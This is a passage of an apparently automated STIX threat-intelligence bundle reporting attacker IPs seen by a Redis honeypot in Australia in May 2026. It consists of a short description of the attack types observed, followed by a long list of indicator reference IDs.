{
  "id": "bundle--d1ca7925-9179-47de-94b5-adc6cc5f98bf",
  "objects": [
    {
      "created": "2026-05-01T01:25:05.068Z",
      "created_by_ref": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "description": "Rolling monthly view for May 2026 of IPv4 addresses observed by Redishoneypot on a T-Pot honeypot. Attacks targeting Redis port 6379 including replication-based RCE (SLAVEOF/REPLICAOF), config manipulation, module loading, and cron/SSH key injection. Each run looks back the last 1h and appends newly seen indicators for this month. Location: Australia.",
      "id": "report--d1ca7925-9179-47de-94b5-adc6cc5f98bf",
      "labels": [
        "threat-report"
      ],
      "modified": "2026-05-31T23:25:09.791Z",
      "name": "Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "object_refs": [
        "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
        "indicator--a4c16a2b-639e-4bcb-aa07-8a26bd381e64",
        "indicator--f0da1e29-c4d9-47bf-a394-4cfab1374604",
        "indicator--9fbdb126-5fd5-4ccf-8776-6b8976979f3a",
        "indicator--a8756b87-b2ab-4cfb-a63a-f928ebba57e7",
        "indicator--c03ac74d-6b04-4b18-b64d-0b092b410437",
        "indicator--581ec440-6f99-4ae4-a7ee-b5957bf0716e",
        "indicator--8dbe59bb-4007-49b7-82d8-945ae3951619",
        "indicator--9ac8f364-cd4d-4b4e-8e26-8008455485ff",
        "indicator--1145077c-2517-4617-89f2-667b7d5a009e",
        "indicator--34bd67ed-a033-496c-97f4-c6a228f7ce01",
        "indicator--f9e103c2-5494-4119-b8ea-5d54734e3d82",
        "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
        "indicator--5b1ed4aa-c0a7-419e-a2c5-f6b206da1763",
        "indicator--51d9ebf3-56fc-42aa-9e17-1301673254e2",
        "indicator--66850bf9-1b07-43d0-95e4-75db418202ce",
        "indicator--3308d8b9-770d-45ab-b0d5-44fa226df1ed",
        "indicator--440c4d77-a278-4f7c-a0f1-ab16321cdd6c",
        "indicator--33eca3b2-eb24-4320-9bfd-e4a0fb183b2a",
        "indicator--5bf1402a-bd71-42ff-a830-dfe3cdef25ab",
        "indicator--58d1c192-57e6-46b4-b9fd-a4e6aa23a049",
        "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
        "indicator--0381b1d3-d52b-4ce7-82f1-2ff6b28d4971",
        "indicator--9243f9a2-9c69-4645-bb2e-80f5c669de02",
        "indicator--6a774260-42c8-45de-a2bd-ed00e4878fd7",
        "indicator--7d789f6c-f1e0-49b6-80a2-018b39900f22",
        "indicator--e1f6acc7-9b93-48d9-a573-e34f34ddb01f",
        "indicator--3aefed46-f5c1-4d75-a2e4-fd9be341e368",
        "indicator--7aa5a21a-4f63-48b0-84e0-9b056d368c08",
        "indicator--ed173082-790f-4776-876e-e3b8d665e121",
        "indicator--cf24bd34-65b4-419c-ad39-a6d0cdc68017",
        "indicator--b55b89b8-7e67-4508-8fc2-28bdfc5d8fad",
        "indicator--8e1621ab-427d-4879-ab4d-b3740a32e4cc",
        "indicator--c2760d42-3810-4bdd-b5b6-dbbe8697c7dd",
        "indicator--1065b016-75f7-4523-b9b5-bb5051811f9b",
        "indicator--a68ba487-2542-45f7-a000-33e5b76e4fbe",
        "indicator--71c55610-b9b5-431b-a16c-e90e89babef8",
        "indicator--c0e2e5a6-2ea7-46c8-97e7-31bc80f0817f",
        "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
        "indicator--0398371a-a457-4d26-866d-8d929750108b",
        "indicator--ffafaa18-14bd-4c40-a135-08974301211b",
        "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
        "indicator--7bf855b2-2c0f-4087-9891-5b8464f4f553",
        "indicator--e0c8e1bc-5835-498f-acf6-66ea08fc52f5",
        "indicator--bcf3d726-5eae-4327-b6ff-607cd1ddc93a",
        "indicator--59c26dd8-1949-4ca0-a012-0c73717870ed",
        "indicator--923e630e-83ac-408c-a78e-0ab8969af41a",
        "indicator--acd8bb3c-41b1-426d-b5d9-c47394e9b9bb",
        "indicator--e59c68c9-cc0e-427f-bb79-7258e15e9d0c",
        "indicator--67d50eeb-467f-46ad-b176-91b71dc3ff69",
        "indicator--df43089e-9472-4f28-93fc-89375b7e9607",
        "indicator--be228942-a4f7-4f03-8539-52b51a045543",
        "indicator--ef8ebcfc-eb9b-4204-a412-af69b45ffece",
        "indicator--fd4cfe9b-30d5-414d-8904-0ff494ec4118",
        "indicator--41eff508-cf9f-46cb-9dc7-999c952d0089",
        "indicator--95e132dc-a777-46da-bfb1-662341a5408b",
        "indicator--5c0be79d-f040-4458-a636-b7bdd0dec4bb",
        "indicator--cc8cddd3-be24-4e32-995f-b0d68677339e",
        "indicator--a1c592bd-4461-442e-a00a-28af93636366",
        "indicator--97c5c3d8-1f6a-4fbf-bddd-87d248689522",
        "indicator--ff3f1074-534f-4aae-8f2d-bff6c07565ba",
        "indicator--7476f8af-9636-453a-afeb-42a62acd7a8b",
        "indicator--985ee7ac-8b79-42e4-82b2-4dcce6f820ba",
        "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
        "indicator--3146b924-d579-43f5-99c6-966c5e418360",
        "indicator--479700b0-061f-4dd5-b0b7-372c097a7c1e",
        "indicator--9efc7aa3-38f1-4111-87aa-88ab9df18ab0",
        "indicator--0a077ab8-c852-42f2-bde0-0d7d98682d7c",
        "indicator--cbfa812a-55f6-4927-9008-03d3080dfff0",
        "indicator--454cea9a-3d86-4097-96e6-97a9db62cff1",
        "indicator--0d934a2f-a804-4cad-826e-f0d53768e8a8",
        "indicator--a3e896ce-231f-47c5-9814-643979b06f9d",
        "indicator--20fc3304-699c-40e8-9daa-817ede97b8c8",
        "indicator--6db9f820-1d50-496d-a1e9-2cb8ddf9f98b",
        "indicator--8e65190c-eae2-45f1-a97e-b1f8b34160e5",
        "indicator--00ea72eb-fd65-4cf6-a122-7385bda7b2ac",
        "indicator--a4489480-851c-4fad-9e58-dfc4d751664c",
        "indicator--9a834683-18dd-48ea-9313-2e8e9d1d6ee2",
        "indicator--ea1554dc-4906-4d3a-a319-f8523e09a7ea",
        "indicator--91d6db15-30de-4f83-98b3-b097e39d325f",
        "indicator--2767ef90-816c-4bb8-b17b-53214ead2cd0",
        "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
        "indicator--666afad1-3e39-4236-b371-8d938585701c",
        "indicator--5f195537-bb6b-411a-a8ee-336cb5c9934f",
        "indicator--1db3dfd9-a8bc-4d2e-b505-5244f1ffea47",
        "indicator--729a819c-9b83-44ac-95f9-d8ee6b66e6f1",
        "indicator--762dc765-7b7a-4901-968d-f828e6b4ef3c",
        "indicator--61cf4731-ab44-4633-bf06-8d0c3589ec6e",
        "indicator--e67d2914-a882-49fd-8416-23871ab82cfd",
        "indicator--3622bf7a-34dc-4e00-a984-29f5f1741edf",
        "indicator--e407901e-95bd-417f-b930-8886d8e604a9",
        "indicator--7b51d1e4-e0d6-4cae-a0fc-59ed16249437",
        "indicator--7287af32-b684-4715-b218-8ea60008e92f",
        "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
        "indicator--ec3848fb-75c9-45cd-9026-d02348362b61",
        "indicator--97368846-d340-45b8-a746-39f0f9e62ec0",
        "indicator--dbd3aa41-6b24-4ad8-8bb9-8af9f6282143",
        "indicator--8e67008d-1a46-4993-a6a2-53497bada36e",
        "indicator--cacc9598-d4d9-4fe3-9e69-450503f2ed05",
        "indicator--220ffc9b-7724-482a-9a2a-ab4db7236b84",
        "indicator--9045821b-982c-4b45-acc9-4f0722e124ec",
        "indicator--07f4c969-98be-4f62-bb7c-c04e7403d635",
        "indicator--d404c181-a921-4c5f-bbd0-98e69fe81c37",
        "indicator--5ad59d1d-f943-4f33-a1a7-b3a4b16bb0b4",
        "indicator--0ef8926e-d89d-4b6f-a831-8daee5b8198a",
        "indicator--20e59cd0-b8ec-4a54-a501-1777571b714e",
        "indicator--2c63eeb0-a193-4caf-951e-0acb22f87726",
        "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
        "indicator--b5f42170-bff1-4de5-9370-d78c7cab198c",
        "indicator--1d578b46-41ca-4be3-8a77-7fc004f92b03",
        "indicator--c56c651d-fbc7-4369-8be5-c5a178a74944",
        "indicator--150ba5d1-ad89-41ba-afba-a7ee43b2f839",
        "indicator--1a456dab-2fc6-46c4-b000-96f6fbff7118",
        "indicator--7a451679-7459-4e82-b526-bdbb30c402e1",
        "indicator--30cb16a0-217b-4c34-9aae-7f5c489570e9",
        "indicator--fe818699-5f61-4c2b-aa82-82a74ea2f5b5",
        "indicator--4bf08bdb-1621-4b16-b240-3a426d74694a",
        "indicator--5be67b53-bbce-4d13-baa1-1d87a0365a5e",
        "indicator--8faf1ea2-dd49-499e-b52b-9b42dc11928b",
        "indicator--8ffea8cd-b594-4410-9708-2fa5dcdc61c6",
        "indicator--5c00d15a-c886-40a7-972a-dfe4e06bbf1b",
        "indicator--39a45b45-38c2-4098-9098-ca15ab59db1e",
        "indicator--4a6acbc5-9a97-4103-a5fa-0ebbbf9a5867",
        "indicator--3774f2cb-c02f-4506-8fa9-2c9d1b02b361",
        "indicator--f3145607-ab78-4c4e-9722-4d8be2766a10",
        "indicator--e85c4b06-bf8d-404a-8ea8-2f07b823d4b9",
        "indicator--84d05e4b-fcce-4969-a37f-cd740a3c78cc",
        "indicator--5d9f34a8-c784-489d-9695-7de1b4f02102",
        "indicator--877fcab7-17eb-405c-a322-9c06759cc2f6",
        "indicator--0a03e6fb-f243-423e-9825-439dd6a26d1e",
        "indicator--7a86fc75-9915-4413-91b1-37a0f0471fcc",
        "indicator--e4e1d136-1f09-4ccb-bf86-f14d07a82d87",
        "indicator--7a58d934-ad32-4697-b07d-ceda43c25226",
        "indicator--769a4e9f-c632-43a8-9858-d7bc82ac805f",
        "indicator--dfddd8d2-fd9d-472b-9a33-5fd3456fb47f",
        "indicator--476123b0-727d-411b-ae11-feaf2b68ae73",
        "indicator--08d430fd-0d1e-4038-afbf-30642403a119",
        "indicator--8e115bc9-59c3-4227-9db3-6dbbb13bf0fc",
        "indicator--59bcefb1-31be-42d0-9d8a-7d6e7f1670ef",
        "indicator--9f452906-760f-444e-a680-465d99ba689b",
        "indicator--a96ffa2d-ac50-4713-b586-85020d14df8f",
        "indicator--47d26292-5e83-47a3-b9b0-15a0991a4ba9",
        "indicator--56947d65-7275-4d19-bbb7-1bae11e77f88",
        "indicator--c390beb6-0e6a-4ba5-9a2f-6dc10bda804a",
        "indicator--1ad83185-1dcf-44d4-931e-d4df0065aef7",
        "indicator--eacae451-2325-450b-84f4-9bb70b5a2f6e",
        "indicator--45c89899-e269-4e1c-ba11-887904bc1b9b",
        "indicator--adce401f-6269-4160-b25a-681b103bcd98",
        "indicator--35aadebf-eed0-482c-81cb-b4413c746d32",
        "indicator--53afeb5c-80b9-4a0f-b821-720942feb2c1",
        "indicator--8f41ee61-0e1a-4c6a-af24-d0d590734615",
        "indicator--4b82fd94-d160-4274-8198-de36134f7148",
        "indicator--b2133504-90d6-4eb1-83c3-e0f358962f83",
        "indicator--27507d99-0ec8-447a-8488-c9ba83306c4d",
        "indicator--955ea035-8fdc-4455-95f0-64a82cb4e37b",
        "indicator--57e48985-d22c-45b1-a2c9-3480f2843e04",
        "indicator--d24c39a4-52c4-4960-9fb0-de575ffc38ea",
        "indicator--45c3dbd6-711c-4bcf-b379-82a5767c3327",
        "indicator--d7e4ed83-6b2f-48d3-a294-0e5c7f644613",
        "indicator--60e608f4-fe3e-4069-bcf2-df607a3f398d",
        "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
        "indicator--5ee36acd-4492-4b81-af8f-a7b19bbef225",
        "indicator--60992cad-71b1-4607-a403-316bce431b8c",
        "indicator--9846c45c-98eb-4aac-9eb5-5582c69beca3",
        "indicator--2a382b6c-13d3-45ed-a704-0047641db63b",
        "indicator--2edd28f9-b6aa-4f8d-ab61-4ea4638332f5",
        "indicator--60691cf4-fb87-4509-94dc-9d3fa7f8d8d6",
        "indicator--51133b72-ae9b-49e9-a894-4893e40a069c",
        "indicator--65c4aff5-a398-49d6-abe7-56bf400776a5",
        "indicator--4e13e172-542e-44cc-8ad8-f239507216b2",
        "indicator--9022f3ed-5a7f-4268-920e-1a5493e64cf5",
        "indicator--e96118ce-0df1-44df-a9fa-07a791085fe2",
        "indicator--c7e9d373-8227-434c-aba7-967688c47b24",
        "indicator--28505e21-022e-43f0-8b55-6b886ae2ced0",
        "indicator--89a49f07-d309-4358-bdd9-6481d64859af",
        "indicator--6dffec19-1e2a-4c63-9ced-10299278b485",
        "indicator--ca2b37d0-1072-4f64-a975-19b486af2ae0",
        "indicator--332284d4-dcb8-403d-befe-91ca58cf1d12",
        "indicator--c08da94d-319f-42e0-a317-9986f6752b53",
        "indicator--01543fda-c71b-45b4-ab8f-1a6bd81a43cf",
        "indicator--61db714a-fe1c-47ce-8ccc-8f439477f1c7",
        "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
        "indicator--117950da-2848-4f32-885c-5730176e9b0c",
        "indicator--1a7e7261-56dd-4ca5-b9ea-e2939918034c",
        "indicator--a0c0f77b-14b4-4f4d-baa5-1d1cbc48315f",
        "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
        "indicator--5b5135dd-b157-4256-8d85-f86845086cd5",
        "indicator--97b62b9b-a2b8-4031-8d52-d4ad500469bc",
        "indicator--97e5626f-e1e8-4b42-b3c2-301f5a0523ae",
        "indicator--664e8776-df02-4fa3-9ace-1282cb298da5",
        "indicator--f2e6be2e-12e8-471c-b6af-dbabbfd97b6f",
        "indicator--c164523b-aca4-4806-bb93-dc9d70afdcf6",
        "indicator--27f8887f-3c48-4e2b-8be7-83983c6d4ca1",
        "indicator--0cc38b79-e4ac-4544-99a4-04ee4733c5ae",
        "indicator--1c8db237-cc6d-4c88-a068-f1382fa9faf1",
        "indicator--ac5f78d9-486c-4555-a16a-a8cd1ea21568",
        "indicator--c51a3fea-76f7-49c0-aa3d-1fff794e6077",
        "indicator--9680d567-2b3d-4c7e-a94f-e15eb8f4f636",
        "indicator--680323c5-bdd7-40ad-b149-4a367313db52",
        "indicator--3dc5a291-1e5c-4f24-b369-c3534a422583",
        "indicator--54bdaf3e-54e9-40a9-81e4-0caf0322cdf2",
        "indicator--cd858af1-4bba-41b6-9637-ad7d4d0decc5",
        "indicator--f640bf6c-b12c-46bd-a500-4d1cbf62d9b1",
        "indicator--437e6367-1117-4588-8934-6abdaa4cbbba",
        "indicator--b0a7f325-0e3b-4ec6-ac94-9df728747456",
        "indicator--3741e800-9015-431f-8425-64e66cac7bde",
        "indicator--b8f229b7-6a23-4633-911b-a820b145bf0a",
        "indicator--85fb7877-c1e8-4a65-9999-70a71b658435",
        "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
        "indicator--4662710f-5a7e-4a97-be24-e77975e44638",
        "indicator--9c9f44ea-a4f8-4f2f-9918-97a835615f0f",
        "indicator--19f1ddd7-1d03-4e27-80df-9b88e47bd397",
        "indicator--63ea2fe5-3504-4c42-91d1-bb2cfb1521fe",
        "indicator--d970219e-8f6b-4467-b0cc-35ea2cf4a24f",
        "indicator--5510aaee-c44a-4687-96c0-6d4269717e3b",
        "indicator--1f10668e-4aff-41db-9118-58ab5394b5ea",
        "indicator--ebca20b7-4e1c-49dc-8e67-bfee61f4eb05",
        "indicator--45c8c380-668e-4e49-a300-a4de10101dad",
        "indicator--ca2ab586-c585-4e74-81b6-3519c2964731",
        "indicator--ac5723bb-3a0c-4197-bdf7-4f57d33d90f8",
        "indicator--992106a9-9446-40a1-8d26-417574dfb0e8",
        "indicator--1ed358cf-f259-4575-a275-6a2fe2f93440",
        "indicator--d3aa3816-d116-4d72-8023-c5e8484c8c8f",
        "indicator--93c254e3-db0a-453a-aca0-4d63bb60515c",
        "indicator--8a06f8d5-970c-4357-986f-549c4cd5242b",
        "indicator--90b28aa9-4ea5-4816-90ca-d72b3d015ac0",
        "indicator--cb1aacde-443e-447d-81e8-4f459a656e3d",
        "indicator--f773ea25-8299-4b9c-9a86-33ec7be4874c",
        "indicator--e5c1bfc3-6266-42b6-952d-1006eecc9bd6",
        "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
        "indicator--db7d927a-4b0e-48fc-91c2-3c9f9a3a4d05",
        "indicator--460eed3a-7498-4222-937c-beaecd03b324",
        "indicator--3d27c7ff-3199-4a6a-87bc-a4ec455063df",
        "indicator--279de172-92e8-4f3e-9d49-bfc7a0fe285b",
        "indicator--e3c2797a-2c94-4017-90f7-c8402339b987",
        "indicator--861fbd0b-3e6c-432f-9e79-af0eb12567ca",
        "indicator--6e21bd1d-6bfe-485f-8daf-5246748dce0a",
        "indicator--6d4fa4f6-883a-4173-a209-4a9c930b1f6a",
        "indicator--6296d1df-12e8-485c-8b18-49420199de64",
        "indicator--ea50ddb9-1aca-41d2-b1ac-7ae4f885825b",
        "indicator--d3131355-38d1-4b7f-bced-78ebf9da1736",
        "indicator--b75b876f-bdfa-4fa0-8019-ed9e32e32864",
        "indicator--32e788f1-d7d8-4ca6-bc08-d5283868f023",
        "indicator--6357eb1f-f8f7-40ec-b2a9-c678f0745d48",
        "indicator--fce96795-39f3-46e4-bbc2-a1527208f931",
        "indicator--b69c472b-13ab-43b9-937c-e5c0e488d54a",
        "indicator--236d157c-aeca-4486-ab6a-4d4012223d88",
        "indicator--362d7368-5dc1-407e-8853-dc4e114b9ed1",
        "indicator--6fe99a61-e033-4f1f-889c-b5250d94a28f",
        "indicator--1fe2666a-9fff-4e65-aea4-7b3264ebba14",
        "indicator--18b133d8-34b1-4a1b-a219-342246c8ef38",
        "indicator--a2bb9475-dca8-440e-afc5-65e746bbf032",
        "indicator--c149f0be-6992-4410-af33-9742f1fef544",
        "indicator--1a457d21-c7a7-4b5a-b0b2-8b3d2fa34ad6",
        "indicator--446dec01-9dee-4151-b9ca-0bd1cb49ad1a",
        "indicator--5f66ca2f-7ed7-4110-bc17-8afb054368a0",
        "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
        "indicator--7c1b0ac1-ca4b-44da-92cd-ac10d576ee88",
        "indicator--cbb217fb-d6c5-47d3-b933-5b228d71d4e6",
        "indicator--f2480278-b9c6-4acb-8b81-49d22a2975d9",
        "indicator--1f74d06c-e96a-4776-b5d2-df247d96324c",
        "indicator--59695373-3c44-446d-9450-9319f2dca1c9",
        "indicator--fbf59f30-d039-47d2-a3b2-d85639ec2d96",
        "indicator--e0cee174-a471-4440-a832-52374f832c26",
        "indicator--e2207aa9-d7ed-4359-b82d-cb9f1ae23973",
        "indicator--a2a9b329-b861-4dc8-9c90-0105fea7948c",
        "indicator--1bbc7d21-0bc0-49e5-b98e-84527962fc7a",
        "indicator--d25ef42f-e74a-465a-beed-79555082ef03",
        "indicator--2ff84537-68da-4af6-b25b-6b2649665764",
        "indicator--80633887-0ef6-46c7-acbd-b3337b80a45e",
        "indicator--1ddc5881-668a-4336-8df6-2c65dcbe44c0",
        "indicator--7934b6c9-1b9c-4ab9-9bef-ce89d93c003c",
        "indicator--5ebd7a81-3e94-495d-8872-41311d8a7ba7",
        "indicator--a0531504-9840-4c7c-a1f7-5e137c09db87",
        "indicator--065531d9-0732-4fdc-998c-52284a5bf526",
        "indicator--554d7c4d-ded1-475f-8702-41bca46b176d",
        "indicator--43431d1b-3d32-4b9b-b618-a6d4ca45f6a8",
        "indicator--35de8faf-7ccc-4888-820c-3266d7150eca",
        "indicator--501e5bd6-b178-486f-96e2-f2bb5ee9a257",
        "indicator--eab94e3e-771a-48a2-ac59-b3df61d51b66",
        "indicator--57c173f8-d7ab-4f57-a497-81d39adb44a9",
        "indicator--78496f2e-3681-4dd4-8379-2e8e151382e5",
        "indicator--1e221312-6913-4cf4-8888-1ab4a76210cc",
        "indicator--1b175677-ddda-46ac-aa1d-291b00c5f346",
        "indicator--1ce7a063-42b5-4aac-96d5-6e326ae4fa91",
        "indicator--0ee0ba5f-8056-49b8-8670-62cef867d5d3",
        "indicator--2c9dde4a-5ba1-4b84-bae7-3a5d0d44e170",
        "indicator--557c786f-025b-4beb-b4f3-73a223df2dd1",
        "indicator--59e11966-28fe-42de-9a19-03b81066df88",
        "indicator--a900aceb-7be8-4091-8f90-dc366247d001",
        "indicator--701334a8-f97d-4c58-bc75-9f7daa4167ec",
        "indicator--3c7ac580-bd53-4fcf-aa95-d5d8936cd3b0",
        "indicator--67a4bce1-c294-4890-b8ba-c8e74dec3324",
        "indicator--c4c3c8ab-d7c3-4a8b-81a1-3cad946a1f8a",
        "indicator--a77c1360-0aef-4a92-a9a9-b1d494c9aa29",
        "indicator--7ced60ea-b750-42e7-82df-3c1eaece21bc",
        "indicator--d79aa355-b87e-4f04-a7b6-1a79306608f7",
        "indicator--c5e928f2-0c4d-4008-a693-38303dda1b2a",
        "indicator--c9c75578-2227-45cb-8aed-d4bf76bd45d2",
        "indicator--40f67f9e-2198-4126-86b8-73a879b31791",
        "indicator--1de518d6-c520-4c02-8e51-f6b2cda4015a",
        "indicator--c169080d-2585-49a3-87b8-5b98ea113114",
        "indicator--70aec735-b534-4dc9-a419-29a9a9c775ee",
        "indicator--0d65be17-e7f4-4258-b2f8-e271667fe720",
        "indicator--06b896e1-e180-4750-90a4-75fdee807a12",
        "indicator--b48011a6-7ff4-4ede-bc74-fcbebf2831bd",
        "indicator--b99cbdd8-c02f-4f06-9154-f986153902f7",
        "indicator--0f2df13e-8a4e-4000-af49-08485ad6a5fc",
        "indicator--d4fe06c6-d613-4112-b905-51dcef78dc95",
        "indicator--c842da96-ab42-494f-97db-0b46715a7e2f",
        "indicator--5aa54ed8-3e99-48d2-b599-306d8697f99a",
        "indicator--b6203594-733b-4c38-99fd-35759e654822",
        "indicator--dd4f5939-8813-496d-aa7b-74a1e6c59626",
        "indicator--1156df52-d425-42ff-a3da-30ccc59c3bd9",
        "indicator--f1381559-e52b-4710-b0c5-d53912475ca6",
        "indicator--c6448603-a77a-4358-bd3b-327ef21b3932",
        "indicator--d015b885-e1d3-4f47-897f-f65d97cc79d0",
        "indicator--11abe87f-c477-4712-a4be-d553ead45ef6",
        "indicator--e0eddc4b-3895-498b-a07b-c085e313c92e",
        "indicator--d16878e1-9d7d-4b08-83bb-550a47b60714",
        "indicator--31e6df10-53d5-4d64-8fc5-a2fd833b732d",
        "indicator--379a42b4-b92b-4940-974e-9e871bf19bc5",
        "indicator--09bd24dc-df90-4831-b081-9d1882578675",
        "indicator--57eae7f8-7def-4042-be30-0d70181f4535",
        "indicator--643658d0-8a24-462c-920b-25540ec13037",
        "indicator--45f18fea-60e6-4248-9aea-b584b4816319",
        "indicator--d17a471f-2b45-48db-8648-3e85f305c0ce",
        "indicator--0c52267c-dd8c-40ac-b157-f10410c5fe71",
        "indicator--c9d3ff3e-8217-42ba-b8f1-d376d149894a",
        "indicator--1a77d07a-ba8f-4cbb-845f-33a9c4ab9a5f",
        "indicator--ba01c725-d0a1-4de0-82b5-c2250ef80994",
        "indicator--5da28e69-237c-43dc-97b5-e86bf3faa13c",
        "indicator--88d323b7-673b-42d7-ab6d-a1720a6f2a92",
        "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
        "indicator--e9961e51-732b-419c-97f2-f69d67492e8b",
        "indicator--1ef6efd2-c6c4-4f71-8da2-eda9126ca02f",
        "indicator--f6a2ae48-3b36-4894-bf8c-791d82d58996",
        "indicator--a79512a6-01ad-4462-9425-099d7b32038a",
        "indicator--cfddc57c-0ca0-4ca6-8f89-09c8b2ab8f3c",
        "indicator--bd77ebd7-efcf-43ed-9632-57abee05a15a",
        "indicator--a4a4535e-5c46-4324-875b-d98b6205f85e",
        "indicator--7508e8f5-990e-4868-ab18-07096e99fee3",
        "indicator--d0083ace-0584-494f-870a-9aa6ba937c52",
        "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
        "indicator--39da7748-621a-47b0-8c61-3449eb975f7a",
        "indicator--a988514a-c4e0-46a9-a019-54119250e1df",
        "indicator--4c6a09b2-9be5-4776-b235-70661563e768",
        "indicator--5dbe1268-4f10-4bcd-aa4f-ea2a6a33e027",
        "indicator--daf20cbe-60ba-41c9-806c-88eda990316c",
        "indicator--726b5c4a-875e-4a07-a2ab-035ecdfa9494",
        "indicator--ea2bdae1-4599-4aa5-9800-c4722af257fb",
        "indicator--36b88e9b-210b-4e54-8f9f-4d4ef76c626b",
        "indicator--975531ce-ce6e-473b-b93f-89dc60ab1d78",
        "indicator--ca99a0e3-f4af-47f9-844a-6e8ff15715e5",
        "indicator--c4d073fe-38a1-461f-942e-c24e1eff2e0b",
        "indicator--c4143c81-ca52-4a5e-b429-ebc75490dbe6",
        "indicator--78eea6f2-2d12-4b70-8915-c5f611a59442",
        "indicator--e9dac137-3539-42aa-a55b-a065002ddaf5",
        "indicator--4f5dc13a-c388-4e35-b068-03f60fc05962",
        "indicator--f5506400-04cc-4d41-ba59-139686288e8c",
        "indicator--36a83e2d-8b69-4473-ae65-8bc90650f71d",
        "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
        "indicator--e0e6067f-3dca-4acb-854f-b8b5a42c592a",
        "indicator--b1d57df3-06a6-4370-a1ae-d6e93b24436b",
        "indicator--1d40dca7-1f15-4c20-bc4a-276015e5e31d",
        "indicator--c9d4bfbe-53fa-47d2-b965-d52d0f862d22",
        "indicator--529f81d4-76bc-4f61-9086-08aaf3f84d7b",
        "indicator--effc7c63-71f1-452f-ac78-23af0cf6311c",
        "indicator--57b46c15-ae84-4190-a092-43d276595eed",
        "indicator--9529a365-d0e4-4a5d-b8fe-1432723801c7",
        "indicator--f2e0d695-1efb-4872-9903-6dc590872055",
        "indicator--37e67c93-4350-4962-adf9-e96957a0c68f",
        "indicator--ab70e922-93d7-4f55-8eb6-3117ca00d3b8",
        "indicator--559c2125-e1cd-4bdd-93ba-9c0735421491",
        "indicator--511c3719-bd49-4016-8569-fd0df4db273d",
        "indicator--56290187-9991-4118-bf2c-cd42ed92c57c",
        "indicator--d408e0cc-1d28-4d98-a087-cc17c4b5dbe7",
        "indicator--8a305ec8-4a85-4445-a7a2-20fd03e8e60b",
        "indicator--94596175-4e57-4e86-93bc-deffbc03efa5",
        "indicator--5353ebd4-9c96-4e70-90ad-e31996bb176a",
        "indicator--1e4ffda7-823e-400c-b474-52c6304e6c48",
        "indicator--05a37e5f-4bcc-4af7-86a9-97c77468bfd4",
        "indicator--c582a3bf-54d2-49c5-be2a-6765c02d4d95",
        "indicator--2b4016ee-e7d6-490d-8bae-4d3c4aee8acf",
        "indicator--6b0e5c49-a278-4e18-8655-70c70517ba67",
        "indicator--0b2c4ce9-fd46-4af7-83c3-a9599ea8f0dd",
        "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
        "indicator--97b9181a-0112-4469-bbb2-c7ac50f52644",
        "indicator--fb4f92f3-0c2f-45b5-8235-3a81fff0631b",
        "indicator--e754f851-6e1e-4c5c-b4bf-ec3e5071baa0",
        "indicator--8713c501-d10d-4a72-9a79-47e204cd4989",
        "indicator--9cc4beb9-0a62-4e27-8e65-07a4e65df157",
        "indicator--f76fbdf1-6bfa-4b21-874c-c3935dffd766",
        "indicator--14fc0991-2e76-41d7-a986-53dfee79c618",
        "indicator--36d64297-2bc6-478a-ae34-b56629ae488c",
        "indicator--85d439b1-fb0b-4801-a700-fb20ed3e7e53",
        "indicator--1d161537-1cc4-4cf3-89b7-77279914a060",
        "indicator--6d26954d-7488-4d4b-8fdc-af8081409e3d",
        "indicator--9b77b954-e2bd-4176-b82e-3c892a40cec3",
        "indicator--4d97ca37-f7d3-4d20-b748-965ca93f3ba3",
        "indicator--4d6cc69a-e538-437f-8249-950e75e90002",
        "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
        "indicator--02d7b0a0-5e2e-4efa-a779-9bfa674b1fac",
        "indicator--12c1b879-600f-48ce-8429-57d3ac760368",
        "indicator--c654ff95-15b2-4246-8df5-2d961b728199",
        "indicator--420c4abe-37f1-4428-86c1-12fb791c55b9",
        "indicator--b9678ccf-e8ae-4018-87eb-911107c5c18c",
        "indicator--18998f12-b6f8-44a9-a183-fd6c26054042",
        "indicator--e3035322-2f18-47b7-ac53-4121b2c1b977",
        "indicator--71f35632-f0fb-4d2f-a11d-af3cbb0dd6a0",
        "indicator--1ea94f14-8168-46ed-8f44-c4bd3c06b4f3",
        "indicator--fc77c6b7-7f87-478c-a46e-bec49fa2765f",
        "indicator--0070f2d4-02f0-4dda-8e54-2454bc9e6860",
        "indicator--0c016f0c-0832-4135-ab2f-843cf67064df",
        "indicator--8df8d3a4-1e01-4c94-bca2-e741bc8bc0e3",
        "indicator--afb3b5f6-d5f8-4862-bf8b-8cb4d3b1a378",
        "indicator--407e1065-24a3-4e3b-8f84-e1bed244efb8",
        "indicator--8f5544af-09e9-4b13-9e67-57923b894841",
        "indicator--cfcfb9a3-c149-4c37-abe9-6a40e9248932",
        "indicator--8a9a5530-be73-4bfd-b250-709be100e886",
        "indicator--1b373766-40d7-4fe1-b1f1-3933abf9b2bb",
        "indicator--4ea05228-b316-4d56-a5d0-cffdabc7438c",
        "indicator--c10c39fd-ec6f-48c6-ab4b-d9ba04b07cc3",
        "indicator--c4409c9d-2a3e-42f5-9fab-9d2f0713fcae",
        "indicator--52c0f6f9-b84b-4557-b066-1bdac18b0a51",
        "indicator--f395505f-6663-49b1-a315-ecae365dc7f3",
        "indicator--ed1d0de4-a174-4cfe-b58a-00ad9fa34d48",
        "indicator--b2405497-6d16-4e6a-825c-e79c4aad0473",
        "indicator--8b5b33cb-a955-40dc-aaf2-16876a3dcefd",
